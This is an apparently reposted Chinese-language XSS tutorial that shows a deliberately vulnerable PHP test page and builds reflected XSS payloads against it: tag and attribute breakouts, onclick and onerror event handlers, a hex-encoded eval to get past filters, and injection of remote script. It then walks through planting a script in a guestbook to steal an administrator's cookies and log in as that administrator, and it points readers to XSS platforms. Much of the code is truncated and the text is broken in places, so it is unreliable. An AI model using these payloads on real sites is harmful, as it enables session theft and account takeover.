XSS得原理分析与解剖.doc

XSS得原理分析与解剖
2014-08-13 18:47 Black-Hole FreeBuf 字号:T | T

xss就是一门又热门又不太受重视得Web攻击手法,为什么会这样呢,原因有下:耗时间、有一定几率不成功、没有相应得软件来完成自动化攻击、就是一种被动得攻击手法等。
AD:
0×01 前言:

《xss攻击手法》一开始在互联网上资料并不多(都就是现成得代码,没有从基础得开始),直到刺得《白帽子讲WEB安全》与cn4rry得《XSS跨站脚本攻击剖析与防御》才开始好转。
我这里就不说什么xss得历史什么东西了,xss就是一门又热门又不太受重视得Web攻击手法,为什么会这样呢,原因有下:
1、耗时间
2、有一定几率不成功
3、没有相应得软件来完成自动化攻击
4、前期需要基本得html、js功底,后期需要扎实得html、js、actionscript2/3、0等语言得功底
5、就是一种被动得攻击手法
6、对website有-only、crossdomian、xml没有用
但就是这些并没有影响黑客对此漏洞得偏爱,原因不需要多,只需要一个。
Xss几乎每个网站都存在,google、baidu、360等都存在。
0×02 原理:
首先我们现在本地搭建个PHP环境(可以使用phpstudy安装包安装),然后在index、php文件里写入如下代码:
1  
2.  
3.  
4. XSS原理重现 
5.  
6.  
7.  
8.  
9.  
10.  
11. GET['xss_input'];  
14. echo '您输入得字符为'、$xss;  
15. ?> 
16.  
17.  
18.  
然后,您会在页面瞧到这样得页面

我们试着输入abcd123,得到得结果为

我们在瞧瞧源代码

我们输入得字符串被原封不动得输出来了,那这里我们提出来一个假设,假设我们在搜索框输入下面得代码会出现什么呢？
1. alert('xss') 
如果按照上面得例子来说,它应该存在第12行得[br]与[/boby]>之间,变成:
1. t>alert('xss') 
之后,应该会弹出对话框。
既然假设提出来,那我们来实现下这个假设成不成立吧。
我们输入
1. alert('xss') 
得到得页面为

成功弹窗,这个时候基本上就可以确定存在xss漏洞。
我们在瞧瞧源代码

瞧来,我们得假设成功了,这节就说说XSS得原理,下面几节说说xss得构造与利用。
0×03 xss利用输出得环境来构造代码 :
上节说了xss得原理,但就是我们得输出点不一在[ br ]与[ /boby ]里,可以出现在html标签得属性里,或者其她标签里面。所以这节很重要,因为不一定 当您输入下面代码就会出现弹窗。 
1. alert('xss') 
先贴出代码:
1.  
2.  
3.  
4. XSS利用输出得环境来构造代码 
5.  
6.  
7. "" method="get"> 
10. {  
20. echo '';  
21. }  
22. ?> 
23.

我们瞧到我们输入得字符串被输出到第15行input标签里得value属性里面,被当成value里得值来显现出来,所以并没有弹窗,这时候我们该怎么办呢？聪明得人已经发现了可以在
1. alert('xss') 
前面加个">来闭合input标签。所以应该得到得结果为

成功弹窗了,我们在瞧瞧这时得页面

瞧到后面有第二个input输入框后面跟有">字符串,为什么会这样呢,我们来瞧瞧源代码

这时可以瞧到我们构造得代码里面有两个">,第一个">就是为了闭合input标签,所以第二个">就被抛弃了,因为html得容 错性高所以并没有像php那样出现错误,而就是直接把多余得字符串来输出了,有得人就是个完美主义者,不喜欢有多余得字符串被输出,这时该怎么办呢？
这里我问大家一个问题,我之前说得xss代码里,为什么全就是带有标签得。难道就不能不带标签么？！答:当然可以。既然可以不用标签,那我们就用标签里得属性来构造XSS,这样得话,xss代码又少,又不会有多余得字符串被输出来。
还就是这个环境,但就是不能使用标签,您应该怎么做。想想input里有什么属性可以调用js,html学得好得人,应该知道了,on事件,对得。我们可以用on事件来进行弹窗,比如这个xss代码 我们可以写成
1. " onclick="alert('xss')  
这时,我们在来试试,页面会发生什么样得变化吧。

没有瞧到弹窗啊,失败了么？答案当然就是错误得,因为onclick就是鼠标点击事件,也就就是说当您得鼠标点击第二个input输入框得时候,就会触发onclick事件,然后执行alert('xss')代码。我们来试试瞧

当我点击后,就出现了弹窗,这时我们来瞧瞧源代码吧

第15行,value值为空,当鼠标点击时,就会弹出对话框。这里可能就会有人问了,如果要点击才会触发,那不就是很麻烦么,成功率不就又下降了么。 我来帮您解答这个问题,on事件不止onclick这一个,还有很多,如果您想不需要用户完成什么动作就可以触发得话,i可以把onclick改成
Onmousemove 当鼠标移动就触发
Onload 当页面加载完成后触发
还有很多,我这里就不一一说明了,有兴趣得朋友可以自行查询下。
别以为就这样结束了,还有一类环境不能用上述得方法,
那就就是如果在[ textarea ]标签里呢？！或者其她优先级比script高得呢？
就下面这样

这时我们该怎么办呢？既然前面都说了闭合属性与闭合标签了,那能不能闭合完整得标签呢,答案就是肯定得。我们可以输入下面得代码就可以实现弹窗了。
1. alert('xss')</p><p style='height:0px;padding:0;overflow:hidden'>13、 
0×04 过滤得解决办法
假如说网站禁止过滤了script 这时该怎么办呢,记住一句话,这就是我总结出来得“xss就就是在页面执行您想要得js”不用管那么多,只要能运行我们得js就OK,比如用img标签或者a标签。我们可以这样写
1. 当找不到图片名为1得文件时,执行alert('xss')  
2. s 点击s时运行alert('xss')  
3. ght=0 width=0 />利用iframe得scr来弹窗  
4. <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>过滤了alert来执行弹窗   
等等有很多得方法,不要把思想总局限于一种上面,记住一句话“xss就就是在页面执行您想要得js”其她得管她去。(当然有得时候还有管她…)
0×05 xss得利用
说了那么多,大家可能都以为xss就就是弹窗,其实错了,弹窗只就是测试xss得存在性与使用性。
这时我们要插入js代码了,怎么插呢？
您可</p><p style='height:0px;padding:0;overflow:hidden'>15、以这样
1. <script scr="js_url"></script> 
也可以这样
1. <img src=x onerror=appendChild(createElement('script'))、src='js_url' /> 
各种姿势,各种插,只要鞥运行我们得js就OK。那运行我们得js有什么用呢？
Js可以干很多得事,可以获取cookies(对-only没用)、控制用户得动作(发帖、私信什么得)等等。
比如我们在网站得留言区输入下面得代码:
1. <script scr="js_url"></script> 
当管理员进后台浏览留言得时候,就会触发,然后管理员</p><p style='height:0px;padding:0;overflow:hidden'>16、得cookies与后台地址还有管理员浏览器版本等等您都可以获取到了,再用“桂林老兵cookie欺骗工具”来更改您得cookies,就可以不用输入账号 密码 验证码 就可以以管理员得方式来进行登录了。
至于不会js得怎么写js代码呢,放心网上有很多xss平台,百度一下就可以瞧到了。页面就是傻瓜式得操作,这里就不再过多得说明了。
有兴趣得朋友,下面就是cn4rry给我得几个xss平台,大家可以自己钻研与研究,也可以自己搭建

在发布此文章得时候,我特地与cn4rry谈了一下,得到得结果就是,我会继续写这个系列得。当我把这个doc发给cn4rry得时候,她就直接来句 “嗯 写得比较基础”,我本来得打算就是写一个xss入门得就可以了,我只就是感觉 现在网上得文章从简单开始介绍xss得比较少,都就是在书里有
所以 我想在网上把她讲得细点 xss入门就可以了,后面得路 就可以自己摸索了
但就是与她谈过后,感觉还就是要继续写下去,因为“xss盲打”“xss编码绕过”“fuzzing xss”等等,如果就是自己慢慢琢磨得话,需要较长得时间,所以我打算每过一段时间就会推出下一个xss得文章,写个系列出来。
</p>
</div>
</div>

<span id="LabelScript"></span>
<script src="https://m.zixin.com.cn/JS/bootstrap-collapse.js"></script>

<div class="siteInner_bg" style="margin-top: 40px; border: solid 0px red; margin-left: 0px; margin-right: 0px;">

<div>
<div style=" margin: auto; overflow:hidden;
text-align: center;">
<script>
var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
hm.src = "https://hm.baidu.com/hm.js?6e2a21bc68316db308b5fdc9a0d11f2e";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();
</script>
</div>
<div style=" height:80px; margin: auto; overflow:hidden;
text-align: center;">

<a target="_blank"
href='https://m.zixin.com.cn/ADMiddle.aspx?t=92ULKnFRa/o='>

<img src="https://www.zixin.com.cn/FileUpload/Images/81dd1a0b-02e3-435a-aa37-fbfccae9a83d.gif" width="100%" height='80'
alt="移动网页_全站_页脚广告1" />

</a>
</div> </div>
<div class="siteInner">
<p style="white-space: normal; text-align: center;"><a href="https://www.zixin.com.cn/h-33.html" target="_blank" title="关于我们" textvalue="关于我们"><span style="text-align: center;">关于我们</span></a>&nbsp;<span style="text-align: center;">&nbsp; &nbsp; &nbsp;</span><a href="https://www.zixin.com.cn/h-37.html" target="_blank" title="便捷服务" textvalue="便捷服务">便捷服务</a>&nbsp;&nbsp;<span style="text-align: center;">&nbsp; &nbsp; &nbsp;</span><a href="https://ai.zixin.com.cn/" target="_blank" title="自信AI" textvalue="自信AI">自信AI</a>&nbsp;<span style="text-align: center;">&nbsp; &nbsp; &nbsp;&nbsp;</span><a href="https://gpt.zixin.com.cn/" target="_blank" title="AI导航" textvalue="AI导航">AI导航</a>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<a href="https://www.zixin.com.cn/info/266.html" target="_blank" title="抽奖活动" textvalue="抽奖活动">抽奖活动</a></p><p style="white-space: normal; text-align: center;"><span style="color: rgb(153, 153, 153); font-family: 微软雅黑, 宋体, Arial; font-size: 12px; text-align: center; background-color: rgb(248, 248, 248);"></span><span style="text-align: center;">©2010-2025 宁波自信网络信息技术有限公司&nbsp;</span><span style="text-align: center;">&nbsp;</span><span style="text-align: center;">版权所有</span></p><p style="white-space: normal; text-align: center;"><span style="text-align: center;"><span style="text-align: center;"><span style="text-align: center;"><span style="text-align: center;">客服电话：<span style="text-wrap: wrap;">0574-28810668</span>&nbsp; <span style="text-align: center;">投诉</span>电话：[phone]</span></span></span></span></p><p style="white-space: normal; text-align: center;"><span style="text-align: center;"><img src="https://www.zixin.com.cn/FileUpload/ueditor_s/upload/2022-6/9/6379033271755225397249870.png" title="gongan.png" alt="gongan.png"/></span><a href="http://www.beian.gov.cn/portal/index.do" target="_blank" textvalue="浙公网安备33021202000488号">浙公网安备33021202000488号</a>&nbsp; &nbsp;</p><p style="white-space: normal; text-align: center;"><img src="https://www.zixin.com.cn/FileUpload/ueditor_s/upload/2022-7/4/6379256265460890686562879.png" title="icp.png" alt="icp.png"/><a href="http://beian.miit.gov.cn/" target="_blank" textvalue="浙ICP备2021020529号-1">浙ICP备2021020529号-1</a>&nbsp;<span style="text-align: center;">&nbsp;|&nbsp;</span>&nbsp;<a href="https://dxzhgl.miit.gov.cn/dxxzsp/xkz/xkzgl/resource/qiyesearch.jsp?num=%E5%AE%81%E6%B3%A2%E8%87%AA%E4%BF%A1%E7%BD%91%E7%BB%9C%E4%BF%A1%E6%81%AF%E6%8A%80%E6%9C%AF%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8&type=xuke" target="_blank" title="浙B2-20240490" textvalue="浙B2-20240490">浙B2-20240490</a><span style="text-align: center;">&nbsp;&nbsp;</span></p><p style="white-space: normal; text-align: left;"><span style="text-align: center; font-family: 楷体, 楷体_GB2312, SimKai; font-size: 20px;">关注我们</span><span style="text-align: center;">&nbsp;：<a href="https://www.zixin.com.cn/news/113.html" target="_blank"><img src="https://www.zixin.com.cn/FileUpload/ueditor_s/upload/2022-7/9/6379298231429297878483475.png" title="微信公众号" alt="微信公众号"/></a></span><span style="text-align: center;">&nbsp; &nbsp;&nbsp;<a href="https://www.zixin.com.cn/news/113.html" target="_blank"><img src="https://www.zixin.com.cn/FileUpload/ueditor_s/upload/2022-7/5/6379257739400583672497521.png" title="抖音" alt="抖音"/></a>&nbsp; &nbsp;&nbsp;<a href="https://weibo.com/zixinnetwork" target="_blank" style="color: rgb(217, 83, 79); text-align: center; white-space: normal;"><img src="https://www.zixin.com.cn/FileUpload/ueditor_s/upload/2022-7/5/6379257739400583672497523.png" title="微博" alt="微博"/></a>&nbsp; &nbsp;&nbsp;<a href="https://zixinnetwork.lofter.com/" target="_blank"><img src="https://www.zixin.com.cn/FileUpload/ueditor_s/upload/2022-7/5/6379257740834991205479163.png" title="LOFTER" alt="LOFTER"/></a>&nbsp;</span></p>

</div>
</div>
<div style="position: fixed; bottom: 100px; right: 15px; z-index: 100000000000000000;">
<a href="https://work.weixin.qq.com/kfid/kfcb5dffb1386b26424"><img src="https://www.zixin.com.cn/FileUpload/Images/c1022425-c464-4203-b6dc-db237b2252d5.gif" style="width:36px" alt="客服"/></a>
</div>

<div class="trnav clearfix" id="navcontent" style="display: none; background-color:#3a71b1; ">
<div class="trlogoside" id="navlogo" style="display: none;">
<a href="https://m.zixin.com.cn/" title="咨信网"><img src="https://www.zixin.com.cn/FileUpload/Images/c4280cd2-fe62-449e-aeca-027ef73439f5.png" alt="咨信网"></a>
<div class="trnavclose" id="navclose">
<span></span>
</div>
</div>
<div class="navcontainer">
<div class="row">
<ul class="nav navbar-nav trnavul headercontent" id="navigation" style="margin:20px 0 0px;">

<li><a target="_parent"href="https://m.zixin.com.cn/login.aspx">登录</a></li>

<li><a target="_parent"href="https://m.zixin.com.cn/">首页 </a></li>

<li><a target="_parent"href="https://m.zixin.com.cn/booklist-0.html">分类 </a></li>

<li><a target="_parent"href="https://m.zixin.com.cn/infos.html">学堂 </a></li>

<li><a target="_parent"href="https://m.zixin.com.cn/newslist.html">公告 </a></li>

<li><a target="_parent"href="https://m.zixin.com.cn/h-0.html">帮助中心 </a></li>

</ul>
</div>
</div>
</div>
<script type="text/javascript">
function stopPropagation(e) {
var ev = e || window.event;
if (ev.stopPropagation) {
ev.stopPropagation();
}
else if (window.event) {
window.event.cancelBubble = true;//兼容IE
}
}
$("#navmore").click(function (e) {
$("#navcontent").show();
$("#navlogo").show();
stopPropagation(e);
var navcontentwidth = $("#navcontent").width();
$('#navcontent').css({ 'right': '-' + navcontentwidth + 'px' });
$("#navcontent").show().animate({ "right": 0 }, 300);
});
$(document).bind('click', function () {
var navcontentwidth = $("#navcontent").width();
$("#navcontent").animate({ 'right': '-' + navcontentwidth + 'px' }, 300, function () { $("#navcontent").hide(); });
$("#navlogo").fadeOut(300);
});
$("#navcontent").click(function (e) {
stopPropagation(e);
});
$("#navclose").click(function (e) {
var navcontentwidth = $("#navcontent").width();
$("#navcontent").animate({ 'right': '-' + navcontentwidth + 'px' }, 300, function () { $("#navcontent").hide(); });
$("#navlogo").fadeOut(300);
});
</script>

<script>
function BaseShare(title, desc, imgUrl) {
var link = "https://m.zixin.com.cn/docdown/4375215.html";
if (wx) {
wx.config({
debug: false, // 开启调试模式,调用的所有api的返回值会在客户端alert出来，若要查看传入的参数，可以在pc端打开，参数信息会通过log打出，仅在pc端时才会打印。
appId: 'wx49d3b0cb6fb382c4', // 必填，公众号的唯一标识
timestamp: '1766175540', // 必填，生成签名的时间戳
nonceStr: '5B69B9CB83065D403869739AE7F0995E', // 必填，生成签名的随机串
signature: '46984a5758dcd19dceb2564e937cc18453ef2bff',// 必填，签名，见附录1
jsApiList: ['onMenuShareAppMessage', 'onMenuShareTimeline', 'updateAppMessageShareData', 'updateTimelineShareData', 'hideMenuItems'] // 必填，需要使用的JS接口列表，所有JS接口列表见附录2
//openTagList: ["wx-open-launch-weapp"]//H5打开小程序
});
wx.ready(function () { //需在用户可能点击分享按钮前就先调用
wx.hideMenuItems({// 要隐藏的菜单项，只能隐藏“传播类”和“保护类”按钮，所有menu项见附录3
menuList: ['menuItem:share:qq', 'menuItem:favorite', 'menuItem:share:QZone', 'menuItem:share:email', 'menuItem:originPage', 'menuItem:readMode', 'menuItem:delete', 'menuItem:editTag', 'menuItem:share:facebook', 'menuItem:share:weiboApp', 'menuItem:share:brand']
});
var shareData = {
title: title, // 分享标题
desc: desc,//这里请特别注意是要去除html
link: link, // 分享链接，该链接域名或路径必须与当前页面对应的公众号JS安全域名一致
imgUrl: imgUrl, // 分享图标
};
wx.updateAppMessageShareData(shareData);//1.4 分享到朋友
wx.updateTimelineShareData(shareData);//1.4分享到朋友圈
});
}
}
function BaseShare(title, desc, imgUrl, link) {
if (link=="")
link = "https://m.zixin.com.cn/docdown/4375215.html";
if (wx) {
wx.config({
debug: false, // 开启调试模式,调用的所有api的返回值会在客户端alert出来，若要查看传入的参数，可以在pc端打开，参数信息会通过log打出，仅在pc端时才会打印。
appId: 'wx49d3b0cb6fb382c4', // 必填，公众号的唯一标识
timestamp: '1766175540', // 必填，生成签名的时间戳
nonceStr: '5B69B9CB83065D403869739AE7F0995E', // 必填，生成签名的随机串
signature: '46984a5758dcd19dceb2564e937cc18453ef2bff',// 必填，签名，见附录1
jsApiList: ['onMenuShareAppMessage', 'onMenuShareTimeline', 'updateAppMessageShareData', 'updateTimelineShareData', 'hideMenuItems'] // 必填，需要使用的JS接口列表，所有JS接口列表见附录2
//openTagList: ["wx-open-launch-weapp"]//H5打开小程序
});
wx.ready(function () { //需在用户可能点击分享按钮前就先调用
wx.hideMenuItems({// 要隐藏的菜单项，只能隐藏“传播类”和“保护类”按钮，所有menu项见附录3
menuList: ['menuItem:share:qq', 'menuItem:favorite', 'menuItem:share:QZone', 'menuItem:share:email', 'menuItem:originPage', 'menuItem:readMode', 'menuItem:delete', 'menuItem:editTag', 'menuItem:share:facebook', 'menuItem:share:weiboApp', 'menuItem:share:brand']
});
var shareData = {
title: title, // 分享标题
desc: desc,//这里请特别注意是要去除html
link: link, // 分享链接，该链接域名或路径必须与当前页面对应的公众号JS安全域名一致
imgUrl: imgUrl, // 分享图标
};
wx.updateAppMessageShareData(shareData);//1.4 分享到朋友
wx.updateTimelineShareData(shareData);//1.4分享到朋友圈
});
}
}
</script>

<!--footer-->
<footer class="footer">

<a target="_parent" class="footer-item" href="https://m.zixin.com.cn/">
<img class="footer-item-img" src="/Master/img/tabbar/home.png" alt="首页" />
<div class="footer-item-txt ">首页</div>
</a>
<a target="_parent" class="footer-item" id="classify" href="https://m.zixin.com.cn/bookmap.html">
<img class="footer-item-img" src="/Master/img/tabbar/category.png" alt="分类" />
<div class="footer-item-txt ">分类</div>
</a>
<a target="_parent" class="footer-item" id="case" href="https://m.zixin.com.cn/zhuantilist-.html">
<img class="footer-item-img" src="/Master/img/tabbar/case.png" alt="专题" />
<div class="footer-item-txt ">专题</div>
</a>
<a target="_parent" class="footer-item" id="my" href="https://m.zixin.com.cn/UserDefault.aspx">
<img class="footer-item-img" src="/Master/img/tabbar/my.png" alt="我的" />
<div class="footer-item-txt ">我的</div>
</a>
</footer>

<script>
$(document).ready(function () {
var arr = $(".headercontent");
for (var i = 0; i < arr.length; i++) {
(function (index) {
var url = "https://m.zixin.com.cn/header.aspx";
$.get(url + "?tp=0&t=" + (new Date()).valueOf(), function (d) {
try {
arr.eq(index).empty().html(d);
} catch (e) { }
try {
arr.html(d);
} catch (e) { }
});
})(i);
}
});
</script>

<script src="https://m.zixin.com.cn/js/jquery.lazyload.js"></script>
<script charset="utf-8">
$("img.lazys").lazyload({
threshold: 200,
effect: "fadeIn"
});
</script>
</body>
</html>